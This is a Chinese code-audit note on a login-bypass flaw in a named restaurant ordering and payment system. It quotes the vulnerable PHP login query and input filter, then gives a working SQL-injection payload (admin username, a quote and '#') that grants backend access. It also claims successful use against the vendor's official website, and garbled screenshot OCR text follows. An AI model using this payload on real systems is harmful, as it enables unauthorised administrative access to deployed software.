2017年5月31日
-----代码审计笔记
金味点餐支付管理系统V3.2.592 审计记录:
登陆绕过漏洞:
index.php分析:
//仅给出部分关键代码
case "lgn"://登陆
	$a=Req("a");	
$b=Req("b");
	$q=mysql_query("Select ID,Nn,Nr,Ni From SCY Where DD=0 And Nu='".$a."' And Np='".substr(md5($b),8,16)."'");
//Req()函数在config.php
if(mysql_num_rows($q)==0)die('E');
config.php分析:
Function Req($n){
$t=isset($_GET[$n])?$_GET[$n]:"";$s="";
$l=strlen($t);
for($i=0;$i<$l;$i++){
if($t[$i]=="%"&&$t[$i+1]=="u"){
$v=hexdec(substr($t,$i+2,4));
if($v<0x7f)$s.=chr($val);
Elseif($v<0x800)
$s.=chr(0xc0|($v>>6)).chr(0x80|($v&0x3f));
Else
$s.=chr(0xe0|($v>>12)).chr(0x80|(($v>>6)&0x3f)).chr(0x80|($v&0x3f));
$i+=5;}
else if($t[$i]=="%"){
$s.=urldecode(substr($t,$i,3));
$i+=2;
}
else $s.=$t[$i];
}
return str_replace("\"","&#39;",$s);
这里用字符串替换了\用&#39代替,然而这和没过滤没什么 	区别,这是就是那个故事,绕了一大圈来写这个函数,还写到一	行,看的我头疼
}
通过分析以下代码得到结论：
[bookmark: _GoBack]①数据存在过滤 但是并没有卵用
②如果知道管理员用户名可以登陆后台
Payload:$用户名’# 加任意密码即可登陆后台
验证:
[image: TIM图片20170531231741]
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官方网站:
[image: TIM图片20170531231859]
[image: TIM图片20170531231928]
成功利用






image1.png
T P PHPRTRLP.. X

€% @ lecaboni/
B Roa (5] BET. G0H (MO Sedg B.. § NI WA () SZAWS |3ZN..
W e s x5 Exypton Encading: Oher

LoadURL g ocabos/

B - ][z ain

EICIE A SR

x

-
4 o
Bree

0 bl st dta_ ] bl Referrer.





image2.png
# % < > )= Ema WTML css B5 DOM | RS v | Cookies | £ & mwmex

W BB G |[£3) WML CSS JaveScript XHR BN MM I T

5 GET index.php?x=lgn&a=admin%..345680.462356641 200 Ok locahost





image3.png
TG PHPRER PHPETRLP... x

€ @ oaahont

i -cla « I SR I

B AR (5] BRT. C0H @ NS Seovg B ¥ BT HE () SRS |20

T~ o 50 555 Excypton Exoding Other

@ Lo VR [hpocaboniad/

i sorun .
5 eete

0 bl st dta ] bl Referrer

18a1AR 2maierm 3naiAm e seaiAm saaAn 78 s Am oBaleAm] 108a1Am
sane sans sams sane sans sans ane sane cans ame
T 231803
@ ¥ <> 0= mun wma s e cow RMe | cosker ».

U We S [BE] N S s om BR EE MR TR
on sem ms s

= we g
ey wen
porey e e
bt e e
ey s e





image4.png
|8 remn TR x |

x|+ -
e o -] Qnzae et h e .-
0 SR UM @ M Sodug R § W MBS GZM1 320

INT =6 Sl xss: Encyption Encoing: Other

@ tondun

i o

Sirave

0 bl st dta_ ] bl Referrer.

SRETAREHE

vers1

& o maen ——





image5.png
TG PHPRER PHPETRLP... x x x|+

€ & godmaycomciort v -cla
B RoE (5] BET. G0H ( METSedg B, § HT NS () IZAWS 13N

T e S0l x5 Enypton Enxoding: Other

@ towun

i sorun .
5 eete

x I SR I

0 bl st dta ] bl Referrer

28aieAm 39al AR anaieAm seaiAm 784 Am oaieAm TonaiAm
L mF . sans e weEm
mrF 231920
& s mai v 8@e

b s —

i com 1o mussiznan e —

pss s muserse ——

st con o msssz -

E st on 75 sz -
E it 178 sz





